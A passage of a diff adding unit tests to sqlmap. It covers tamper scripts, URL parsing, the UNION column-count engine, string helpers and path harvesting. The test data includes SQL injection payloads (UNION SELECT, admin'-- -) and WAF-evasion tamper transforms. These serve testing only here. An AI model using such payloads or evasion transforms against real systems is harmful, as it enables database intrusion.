WHERES, msg="test %r has bad where %r" % (t.title, w)) + + +class TestBoundaryEntries(unittest.TestCase): + def setUp(self): + self.assertTrue(conf.boundaries, "conf.boundaries is empty - boundaries failed to load") + + def test_required_fields_present(self): + for b in conf.boundaries: + for field in ("level", "clause", "where", "ptype"): + self.assertIn(field, b, msg="boundary missing field %r" % field) + + def test_level_in_range(self): + for b in conf.boundaries: + self.assertIn(b.level, (1, 2, 3, 4, 5), msg="boundary bad level %r" % b.level) + + def test_where_values_valid(self): + for b in conf.boundaries: + for w in b.where: + self.assertIn(w, WHERES, msg="boundary bad where %r" % w) + + def test_clause_is_list_like(self): + for b in conf.boundaries: + self.assertTrue(isinstance(b.clause, (list, tuple)), msg="boundary clause not list-like") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_replication.py b/tests/test_replication.py new file mode 100644 index 000000000..22bdab820 --- /dev/null +++ b/tests/test_replication.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQLite replication writer (lib/core/replication.py). + +This is what backs `--dump ... --dump-format SQLITE` / replication: it mirrors +dumped tables into a local SQLite file. Tested end-to-end against a real temp +database (create table, typed columns, insert, select, persistence) and read +back independently with the stdlib sqlite3 driver. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.replication import Replication + + +class _ReplCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) + self.rep = Replication(self.path) + + def tearDown(self): + try: + del self.rep + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + def _readback(self, sql): + conn = sqlite3.connect(self.path) + try: + return conn.execute(sql).fetchall() + finally: + conn.close() + + +class TestCreateInsertSelect(_ReplCase): + def test_roundtrip(self): + t = self.rep.createTable("users", [("id", self.rep.INTEGER), ("name", self.rep.TEXT)]) + t.insert([1, "admin"]) + t.insert([2, "guest"]) + self.assertEqual(t.select(), [(1, "admin"), (2, "guest")]) + + def test_persisted_to_disk(self): + t = self.rep.createTable("t", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([10, "x"]) + # autocommit (isolation_level=None) => visible to an independent connection + self.assertEqual(self._readback("SELECT id, v FROM t"), [(10, "x")]) + + def test_real_and_blob_types(self): + t = self.rep.createTable("mix", [("r", self.rep.REAL), ("b", self.rep.BLOB)]) + t.insert([3.5, b"\x00\x01"]) + self.assertEqual(self._readback("SELECT r FROM mix")[0][0], 3.5) # REAL preserved exactly + # BLOB containing a NUL byte must survive intact (a naive str path would truncate at \x00). + # It comes back as a 2-element value (text on py3); assert the NUL didn't truncate it. + blob = self._readback("SELECT b FROM mix")[0][0] + self.assertEqual(len(blob), 2, msg="blob truncated/altered: %r" % (blob,)) + + def test_null_and_empty_values(self): + t = self.rep.createTable("n", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([None, ""]) + self.assertEqual(self._readback("SELECT id, v FROM n"), [(None, "")]) + + def test_create_replaces_existing(self): + t1 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + t1.insert([1]) + # createTable drops-if-exists, so the table is fresh + t2 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + self.assertEqual(t2.select(), []) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_safe2bin.py b/tests/test_safe2bin.py new file mode 100644 index 000000000..609ccc41b --- /dev/null +++ b/tests/test_safe2bin.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +safecharencode / safechardecode (lib/utils/safe2bin.py). + +These make extracted DB values safe to print/store by escaping control and +non-printable characters (tab -> \\t, NUL -> \\x00, ...) and back. They are +applied to dumped data and to values written through the replication writer, +so the escape<->unescape round-trip must be exact. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.safe2bin import safecharencode, safechardecode + +RND = random.Random(99) + + +class TestKnownEscapes(unittest.TestCase): + CASES = [ + (u"normal", u"normal"), + (u"tab\there", u"tab\\there"), + (u"new\nline", u"new\\nline"), + (u"nul\x00byte", u"nul\\x00byte"), + ] + + def test_encode(self): + for raw, encoded in self.CASES: + self.assertEqual(safecharencode(raw), encoded, msg="safecharencode(%r)" % raw) + + def test_plain_text_unchanged(self): + for s in (u"plain", u"abc 123", u"semi;colon", u"a,b,c"): + self.assertEqual(safecharencode(s), s, msg="plain text altered: %r" % s) + + +class TestRoundTrip(unittest.TestCase): + def test_known_roundtrip(self): + for raw, _ in TestKnownEscapes.CASES: + self.assertEqual(safechardecode(safecharencode(raw)), raw, msg="round-trip %r" % raw) + + def test_property_roundtrip(self): + # mix printable + control/non-printable code points + pool = u"abc 123" + u"".join(chr(c) for c in (0, 1, 7, 9, 10, 13, 27, 127)) + for _ in range(2000): + s = u"".join(RND.choice(pool) for _ in range(RND.randint(0, 24))) + self.assertEqual(safechardecode(safecharencode(s)), s, msg="round-trip failed for %r" % s) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_settings_regex.py b/tests/test_settings_regex.py new file mode 100644 index 000000000..ddfceccf7 --- /dev/null +++ b/tests/test_settings_regex.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Compiled-regex battery for lib/core/settings.py. + +settings.py defines ~40 module-level *_REGEX patterns that drive WAF/error/ +charset/IP/title detection. A bad edit to any one of them is a silent failure +(detection just stops firing). This compiles them all and pins the behavior of +the high-traffic detection patterns with positive + negative cases. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.core.settings as S +from lib.core.common import extractRegexResult + + +class TestAllRegexesCompile(unittest.TestCase): + def test_every_regex_constant_compiles(self): + names = [n for n in dir(S) if n.endswith("_REGEX")] + self.assertGreater(len(names), 20, msg="expected many *_REGEX constants") + failures = [] + for name in names: + value = getattr(S, name) + if isinstance(value, str): + # some carry a single %s placeholder (e.g. SENSITIVE_DATA_REGEX) - fill it before compiling + candidate = value.replace("%s", "X") if "%s" in value else value + try: + re.compile(candidate) + except re.error as ex: + failures.append("%s: %s" % (name, ex)) + self.assertEqual(failures, [], msg="non-compiling regexes: %s" % failures) + + +class TestDetectionPatterns(unittest.TestCase): + def test_ip_address(self): + self.assertTrue(re.search(S.IP_ADDRESS_REGEX, "connect to 192.168.0.1 now")) + self.assertFalse(re.search(S.IP_ADDRESS_REGEX, "999.999.999.999")) + + def test_permission_denied(self): + self.assertEqual(extractRegexResult(S.PERMISSION_DENIED_REGEX, "access denied for user 'x'"), + "access denied") + + def test_parameter_splitting(self): + self.assertEqual(re.split(S.PARAMETER_SPLITTING_REGEX, "a,b;c|d"), ["a", "b", "c", "d"]) + + def test_html_title(self): + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "Hello"), "Hello") + # case-insensitive tag, first-of-two wins, empty/absent -> None (probed) + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "x"), "x") + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "AB"), "A") + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "")) + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "no title here")) + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlparse.py b/tests/test_sqlparse.py new file mode 100644 index 000000000..afe204ecb --- /dev/null +++ b/tests/test_sqlparse.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQL/string parsing helpers: field splitting and 0-depth (paren+quote aware) +scanning, query cleanup, regex extraction. +Includes regression cases for the quote-awareness bugs fixed previously. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import splitFields, zeroDepthSearch, cleanQuery, extractRegexResult + + +class TestSplitFields(unittest.TestCase): + CASES = [ + ("a,b", ["a", "b"]), + ("user,password", ["user", "password"]), + ("a,b,c", ["a", "b", "c"]), + ("a", ["a"]), + ("max(a,b)", ["max(a,b)"]), # paren-protected + ("max(a, b),c", ["max(a,b)", "c"]), # ', ' normalized; outer split + ("COUNT(*),name", ["COUNT(*)", "name"]), + ("f(g(x,y),z),h", ["f(g(x,y),z)", "h"]), # nested parens + ("'a,b'", ["'a,b'"]), # REGRESSION: comma in single-quoted literal + ("'a,b','c|d','e&f'", ["'a,b'", "'c|d'", "'e&f'"]), # REGRESSION + ('"x,y",z', ['"x,y"', "z"]), # double-quoted literal + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(splitFields(inp), expected, msg="splitFields(%r)" % inp) + + +class TestZeroDepthSearch(unittest.TestCase): + def test_quote_awareness(self): + # ' FROM ' inside a literal must NOT be a clause boundary (regression) + self.assertEqual(zeroDepthSearch("SELECT 'x FROM y'", " FROM "), []) + # a real FROM must be found (exactly once here) + self.assertEqual(len(zeroDepthSearch("SELECT a FROM t", " FROM ")), 1) + + def test_paren_awareness(self): + self.assertEqual(zeroDepthSearch("a(,)b,c", ","), [5]) # only the depth-0 comma + + def test_doctest_vectors(self): + q = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL" + hits = zeroDepthSearch(q, "FROM") + self.assertTrue(hits, "no depth-0 FROM found") # guard: avoid a confusing IndexError + self.assertEqual(q[hits[0]:], "FROM DUAL") # outer FROM only + s = "a(b; c),d;e" + hits = zeroDepthSearch(s, "[;, ]") + self.assertTrue(hits) + self.assertEqual(s[hits[0]:], ",d;e") # char-class form + + +class TestCleanQuery(unittest.TestCase): + def test_keyword_uppercasing(self): + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + # mixed case keywords get uppercased; non-keyword identifiers are preserved verbatim + self.assertEqual(cleanQuery("seLeCt a fRoM t"), "SELECT a FROM t") + self.assertEqual(cleanQuery("SELECT 1"), "SELECT 1") # already-upper unchanged + + def test_idempotent(self): + for q in ["select a from t", "SELECT 1", "select x where y=1 order by z"]: + once = cleanQuery(q) + self.assertEqual(cleanQuery(once), once) + # idempotence alone would pass even if cleanQuery uppercased EVERYTHING; anchor that it + # uppercases keywords but preserves the lowercase identifier + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + + +class TestExtractRegexResult(unittest.TestCase): + def test_named_group(self): + self.assertEqual(extractRegexResult(r"id=(?P\d+)", "id=42"), "42") + self.assertIsNone(extractRegexResult(r"id=(?P\d+)", "no match here")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_strings.py b/tests/test_strings.py new file mode 100644 index 000000000..5aada824e --- /dev/null +++ b/tests/test_strings.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +String / path / escape helpers. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (normalizePath, posixToNtSlashes, ntToPosixSlashes, + isHexEncodedString, decodeStringEscape, encodeStringEscape, + listToStrValue, filterControlChars, safeVariableNaming, + unsafeVariableNaming, longestCommonPrefix, decodeIntToUnicode) + +RND = random.Random(7) + + +class TestPaths(unittest.TestCase): + def test_normalizePath(self): + self.assertEqual(normalizePath("a//b/c"), "a/b/c") + + def test_slashes(self): + self.assertEqual(posixToNtSlashes("/a/b"), "\\a\\b") + self.assertEqual(ntToPosixSlashes("a\\b"), "a/b") + + def test_slash_roundtrip(self): + for _ in range(500): + s = "/".join(["seg%d" % RND.randint(0, 9) for _ in range(RND.randint(2, 6))]) + nt = posixToNtSlashes(s) + # non-identity anchor: the NT form must actually differ (no '/', has '\') - + # otherwise a no-op pair would pass this round-trip + self.assertNotIn("/", nt, msg="posixToNtSlashes left a '/': %r" % nt) + self.assertIn("\\", nt) + self.assertEqual(ntToPosixSlashes(nt), s) + + +class TestHexDetection(unittest.TestCase): + CASES = [("0x4142", True), ("4142", True), ("zz", False), ("0xZZ", False), ("", False)] + + def test_isHexEncodedString(self): + for v, exp in self.CASES: + self.assertEqual(bool(isHexEncodedString(v)), exp, msg="isHexEncodedString(%r)" % v) + + +class TestStringEscape(unittest.TestCase): + def test_known(self): + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + + def test_roundtrip_property(self): + ctrl = "\t\n\r\\abc 123" + for _ in range(2000): + s = "".join(RND.choice(ctrl) for _ in range(RND.randint(0, 20))) + self.assertEqual(decodeStringEscape(encodeStringEscape(s)), s) + + +class TestVariableNaming(unittest.TestCase): + def test_transform_is_not_identity(self): + # safeVariableNaming hex-encodes non-identifier-safe names behind an EVAL_ prefix; + # pin the exact form so the round-trip below can't be satisfied by no-op functions + self.assertEqual(safeVariableNaming("a.b"), "EVAL_612e62") # 612e62 == hex("a.b") + self.assertNotEqual(safeVariableNaming("weird name"), "weird name") + + def test_roundtrip(self): + for ident in ["a.b", "schema.table", "x", "weird name", "a-b.c"]: + encoded = safeVariableNaming(ident) + if any(c not in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_" for c in ident): + self.assertNotEqual(encoded, ident, msg="unsafe ident %r was not transformed" % ident) + self.assertEqual(unsafeVariableNaming(encoded), ident) + + +class TestMiscStrings(unittest.TestCase): + def test_listToStrValue(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_filterControlChars(self): + self.assertEqual(filterControlChars("a\x07b"), "a b") + + def test_longestCommonPrefix(self): + self.assertEqual(longestCommonPrefix("abcx", "abcy"), "abc") + self.assertEqual(longestCommonPrefix("abc", "xyz"), "") + + def test_decodeIntToUnicode(self): + # single-byte code points map to their char + self.assertEqual(decodeIntToUnicode(65), u"A") + self.assertEqual(decodeIntToUnicode(97), u"a") + # NOTE: >255 ints are interpreted as a multi-byte sequence (not a Unicode code point), + # e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' (documents actual behavior, not an assumption) + self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_tamper.py b/tests/test_tamper.py new file mode 100644 index 000000000..11869d98c --- /dev/null +++ b/tests/test_tamper.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tamper scripts (all ~70): contract, robustness on a payload battery, known +transforms, and documented fragile cases. + +NOTE (flagged for author - real minor bugs surfaced by this suite): + * tamper/percentage.py raises UnboundLocalError on empty/None payload + (retVal is only assigned inside `if payload:`; missing `retVal = payload` init). + * tamper/escapequotes.py raises AttributeError on None payload (no guard). + 68/70 tampers handle ""/None gracefully; these two are inconsistent. Pinned below + as KNOWN_FRAGILE so the suite stays green and a fix is a conscious change. +""" + +import os +import glob +import importlib +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + +from thirdparty import six + +TAMPERS = sorted(os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")) + +# realistic, non-empty payloads (incl. unicode via escape, and a long one) +PAYLOADS = [ + "1 AND 2=2", + "1 UNION SELECT NULL,NULL-- -", + "1 AND (SELECT 1 FROM dual)>0", + "1 AND '1'='1", + "admin'-- -", + u"1 AND name='caf\xe9'", + "1 AND " + "A" * 64, # modest "longer" payload +] + +KNOWN_FRAGILE = set() # percentage/escapequotes empty/None crashes were FIXED by the author; now covered below +# Intentionally expensive by design (generates 4.2M parameters per call to flood Lua-Nginx +# WAFs) -> ~6s/call. NOT a bug; excluded from execution to keep the unit suite fast. +HEAVY = {"luanginxmore"} + + +class TestTamperRobustness(unittest.TestCase): + def test_no_crash_returns_string(self): + for name in TAMPERS: + if name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + for p in PAYLOADS: + try: + r = mod.tamper(p) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, p[:25], ex)) + self.assertTrue(isinstance(r, six.string_types), + msg="tamper '%s' returned %s for %r" % (name, type(r).__name__, p[:25])) + + +class TestTamperEmptyNoneHandling(unittest.TestCase): + def test_graceful_on_empty_and_none(self): + for name in TAMPERS: + if name in KNOWN_FRAGILE or name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + for p in ("", None): + try: + mod.tamper(p) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, p, ex)) + + def test_previously_fragile_now_fixed(self): + # regression pin: percentage/escapequotes used to crash on empty/None; now must be graceful + import tamper.percentage as _p + import tamper.escapequotes as _e + self.assertEqual(_p.tamper(""), "") + self.assertIsNone(_p.tamper(None)) + self.assertEqual(_e.tamper(""), "") + self.assertIsNone(_e.tamper(None)) + + +class TestKnownTransforms(unittest.TestCase): + # authoritative input->output taken from each tamper's own doctest + CASES = { + "space2comment": ("SELECT id FROM users", "SELECT/**/id/**/FROM/**/users"), + "between": ("1 AND A > B--", "1 AND A NOT BETWEEN 0 AND B--"), + "charencode": ("SELECT FIELD FROM%20TABLE", + "%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45"), + "apostrophemask": ("1 AND '1'='1", "1 AND %EF%BC%871%EF%BC%87=%EF%BC%871"), + "equaltolike": ("SELECT * FROM users WHERE id=1", "SELECT * FROM users WHERE id LIKE 1"), + "percentage": ("SELECT FIELD FROM TABLE", "%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E"), + # additional deterministic transforms (verified stable across repeated calls) + "space2plus": ("1 AND 2>1", "1+AND+2>1"), + "unionalltounion": ("1 UNION ALL SELECT 2", "1 UNION SELECT 2"), + "halfversionedmorekeywords": ("1 AND 2>1", "1/*!0AND 2>1"), + "versionedkeywords": ("1 AND 2>1", "1/*!AND*/2>1"), + "appendnullbyte": ("1", "1%00"), + "base64encode": ("1 AND 1=1", "MSBBTkQgMT0x"), + "greatest": ("1 AND A>B", "1 AND GREATEST(A,B+1)=A"), + "ifnull2ifisnull": ("IFNULL(a,b)", "IF(ISNULL(a),b,a)"), + "symboliclogical": ("1 AND 2 OR 3", "1 %26%26 2 %7C%7C 3"), + "bluecoat": ("1 AND 2=2", "1 AND%092 LIKE 2"), + "apostrophenullencode": ("'", "%00%27"), + } + + def test_transforms(self): + for name, (inp, expected) in self.CASES.items(): + mod = importlib.import_module("tamper.%s" % name) + self.assertEqual(mod.tamper(inp), expected, msg="tamper '%s'(%r)" % (name, inp)) + + +class TestTamperCount(unittest.TestCase): + def test_expected_count(self): + # there are currently 70 tamper scripts; floor at 70 so an accidental deletion (or a glob + # that silently stops matching) fails loudly rather than passing on a shrunken set + self.assertGreaterEqual(len(TAMPERS), 70, msg="expected >=70 tampers, found %d" % len(TAMPERS)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py new file mode 100644 index 000000000..a0e05ac85 --- /dev/null +++ b/tests/test_targeturl.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target URL parsing (lib/core/common.py parseTargetUrl). + +parseTargetUrl reads conf.url and populates conf.hostname / conf.port / +conf.scheme / conf.path - the values every subsequent request is built from. A +wrong default port or dropped scheme here misdirects the entire scan, so the +scheme/default-port/explicit-port/path cases are pinned. + +(Inline URL credentials user:pw@host are intentionally not covered - sqlmap +uses --auth-cred for that and does not parse them out of conf.url.) +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import parseTargetUrl +from lib.core.data import conf + + +def _parse(url): + conf.url = url + parseTargetUrl() + return conf.hostname, conf.port, conf.scheme, conf.path + + +class TestScheme(unittest.TestCase): + def test_http(self): + host, port, scheme, _ = _parse("http://host/p?id=1") + self.assertEqual((host, scheme), ("host", "http")) + + def test_https(self): + _, _, scheme, _ = _parse("https://host/p") + self.assertEqual(scheme, "https") + + +class TestDefaultPorts(unittest.TestCase): + def test_http_default_80(self): + self.assertEqual(_parse("http://h/")[1], 80) + + def test_https_default_443(self): + self.assertEqual(_parse("https://h/")[1], 443) + + def test_no_trailing_slash(self): + host, port, scheme, _ = _parse("http://h") + self.assertEqual((host, port), ("h", 80)) + + +class TestExplicitPort(unittest.TestCase): + def test_explicit_port(self): + host, port, scheme, _ = _parse("https://example.com:8443/x") + self.assertEqual((host, port, scheme), ("example.com", 8443, "https")) + + +class TestPath(unittest.TestCase): + def test_path_extracted(self): + self.assertEqual(_parse("http://host/some/path?q=1")[3], "/some/path") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py new file mode 100644 index 000000000..2726e6747 --- /dev/null +++ b/tests/test_texthelpers.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Text-processing helpers in lib/core/common.py: +normalizeUnicode (accent folding), filterStringValue (charset whitelist), +parseFilePaths (absolute-path harvesting from error pages -> kb.absFilePaths), +getSafeExString (safe exception rendering). + +parseFilePaths in particular feeds path disclosure / file-read targeting, so +its extraction is pinned with realistic PHP/ASP error strings. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import normalizeUnicode, filterStringValue, parseFilePaths, getSafeExString +from lib.core.data import kb + + +class TestNormalizeUnicode(unittest.TestCase): + def test_strips_accents(self): + self.assertEqual(normalizeUnicode(u"caf\xe9 r\xe9sum\xe9"), u"cafe resume") + + def test_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"plain ascii 123"), u"plain ascii 123") + + +class TestFilterStringValue(unittest.TestCase): + def test_keep_lowercase(self): + self.assertEqual(filterStringValue("abc123!@#", r"[a-z]"), "abc") + + def test_keep_digits(self): + self.assertEqual(filterStringValue("a1b2c3", r"[0-9]"), "123") + + def test_all_match(self): + self.assertEqual(filterStringValue("abc", r"[a-z]"), "abc") + + +class TestParseFilePaths(unittest.TestCase): + def setUp(self): + kb.absFilePaths = set() + + def test_unix_paths_from_php_error(self): + parseFilePaths("Warning: include(/var/www/html/config.php) failed " + "to open stream in /var/www/html/index.php on line 5") + self.assertIn("/var/www/html/config.php", kb.absFilePaths) + self.assertIn("/var/www/html/index.php", kb.absFilePaths) + + def test_windows_path(self): + # exact full path (not a substring) - a truncated harvest is a real defect for file-read targeting + parseFilePaths("Fatal error in C:\\inetpub\\wwwroot\\app\\index.asp on line 1") + self.assertIn("C:\\inetpub\\wwwroot\\app\\index.asp", kb.absFilePaths, + msg="windows path not harvested in full: %s" % kb.absFilePaths) + + +class TestGetSafeExString(unittest.TestCase): + def test_format(self): + self.assertEqual(getSafeExString(ValueError("boom")), u"ValueError: boom") + + def test_runtime_error(self): + # RuntimeError keeps its name across py2/py3 (unlike IOError, which aliases to OSError on py3) + self.assertEqual(getSafeExString(RuntimeError("oops")), u"RuntimeError: oops") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py new file mode 100644 index 000000000..97ac88081 --- /dev/null +++ b/tests/test_union_engine.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The UNION-based column-count detection engine (lib/techniques/union/test.py). + +_findUnionCharCount discovers how many columns a UNION injection needs. Its +fastest path is the ORDER BY technique: a valid target accepts ORDER BY 1..N and +errors on ORDER BY N+1, so it binary-searches for N. We drive the REAL function +against a mock oracle (Request.queryPage replaced) that errors once the requested +column index exceeds a known true count - exercising the actual detection + +binary search with no live target. + +This requires the full injection context (conf.parameters / conf.paramDict / +kb.injection) because column detection builds real payloads via agent.payload. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.union.test as ut + +MARKER = "MARKER42" +VALID_PAGE = "results %s" % MARKER + +_CONF = {"string": MARKER, "notString": None, "regexp": None, "code": None, + "uCols": None, "uColsStart": 1, "uColsStop": 50, "base64Parameter": ()} +_KB = {"heavilyDynamic": False, "errorIsNone": False, "futileUnion": False, + "uChar": "NULL", "forceWhere": None} + + +class TestOrderByColumnCount(unittest.TestCase): + def setUp(self): + self._sc = {k: conf.get(k) for k in _CONF} + self._sk = {k: kb.get(k) for k in _KB} + self._sp = (conf.get("parameters"), conf.get("paramDict")) + self._sqp = Connect.queryPage + self._stmpl = kb.get("pageTemplate") + self._sinj = (kb.injection.place, kb.injection.parameter) + + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + kb.pageTemplate = VALID_PAGE + kb.injection.place = None + kb.injection.parameter = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.parameters, conf.paramDict = self._sp + kb.pageTemplate = self._stmpl + kb.injection.place, kb.injection.parameter = self._sinj + Connect.queryPage = self._sqp + ut.Request.queryPage = self._sqp + + def _detect(self, true_count): + def oracle(payload=None, place=None, content=False, raise404=True, **kwargs): + m = re.search(r"ORDER BY (\d+)", payload or "") + cols = int(m.group(1)) if m else 1 + if cols <= true_count: + page = VALID_PAGE + else: + page = "Unknown column '%d' in 'order clause'" % cols + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + ut.Request.queryPage = staticmethod(oracle) + kb.orderByColumns = None + return ut._findUnionCharCount("-- -", PLACE.GET, "id", "1", "", "", PAYLOAD.WHERE.ORIGINAL) + + def test_detect_single_column(self): + self.assertEqual(self._detect(1), 1) + + def test_detect_small(self): + self.assertEqual(self._detect(3), 3) + + def test_detect_medium(self): + self.assertEqual(self._detect(7), 7) + + def test_detect_larger(self): + self.assertEqual(self._detect(12), 12) + + def test_detect_beyond_first_step(self): + # > ORDER_BY_STEP (10): forces the expand-then-bisect branch + self.assertEqual(self._detect(25), 25) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_urls.py b/tests/test_urls.py new file mode 100644 index 000000000..3d67d17a5 --- /dev/null +++ b/tests/test_urls.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +URL encode/decode round-trips, parameter parsing, same-host checks. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import urldecode, urlencode, paramToDict, checkSameHost +from lib.core.enums import PLACE + +RND = random.Random(11) + + +class TestUrlCoding(unittest.TestCase): + def test_known(self): + self.assertEqual(urldecode("a%20b"), u"a b") + self.assertEqual(urlencode("a b&c"), "a%20b&c") + + def test_encode_is_not_identity(self): + # anchor so the round-trip property below can't pass with no-op functions: + # special chars MUST be percent-encoded + encoded = urlencode("a b&c=d", safe="") + self.assertNotIn(" ", encoded) + self.assertNotIn("&", encoded) + self.assertEqual(encoded, "a%20b%26c%3Dd") + + def test_roundtrip_property(self): + import string + # NOTE: urldecode() by default preserves URL-structural chars (?, &, =, +, ;) so a full + # round-trip needs convall=True; '+' still excluded (form-encoding maps it to space). + alphabet = string.ascii_letters + string.digits + " &=?/#@:,'\"" + for _ in range(2000): + s = "".join(RND.choice(alphabet) for _ in range(RND.randint(0, 25))) + roundtripped = urldecode(urlencode(s, safe=""), convall=True) + self.assertEqual(roundtripped, s, msg="roundtrip %r" % s) + + +class TestParamToDict(unittest.TestCase): + def test_get(self): + d = paramToDict(PLACE.GET, "a=1&b=2&c=3") + self.assertEqual(d.get("a"), "1") + self.assertEqual(d.get("b"), "2") + self.assertEqual(d.get("c"), "3") + + def test_get_single(self): + d = paramToDict(PLACE.GET, "id=42") + self.assertEqual(d.get("id"), "42") + + +class TestSameHost(unittest.TestCase): + def test_same(self): + self.assertTrue(checkSameHost("http://h/a", "http://h/b")) + self.assertTrue(checkSameHost("http://h:80/a", "http://h:80/b")) + + def test_www_prefix_is_same(self): + # documented behavior: a leading www. is normalized away + self.assertTrue(checkSameHost("http://example.com/a", "http://www.example.com/b")) + + def test_different_host_is_false(self): + # discriminating: an always-True implementation must fail here + self.assertFalse(checkSameHost("http://h/a", "http://other/b")) + self.assertFalse(checkSameHost("http://example.com/a", "http://evil.com/b")) + + def test_one_none_is_false(self): + self.assertFalse(checkSameHost("http://h/a", None)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_utils.py b/tests/test_utils.py new file mode 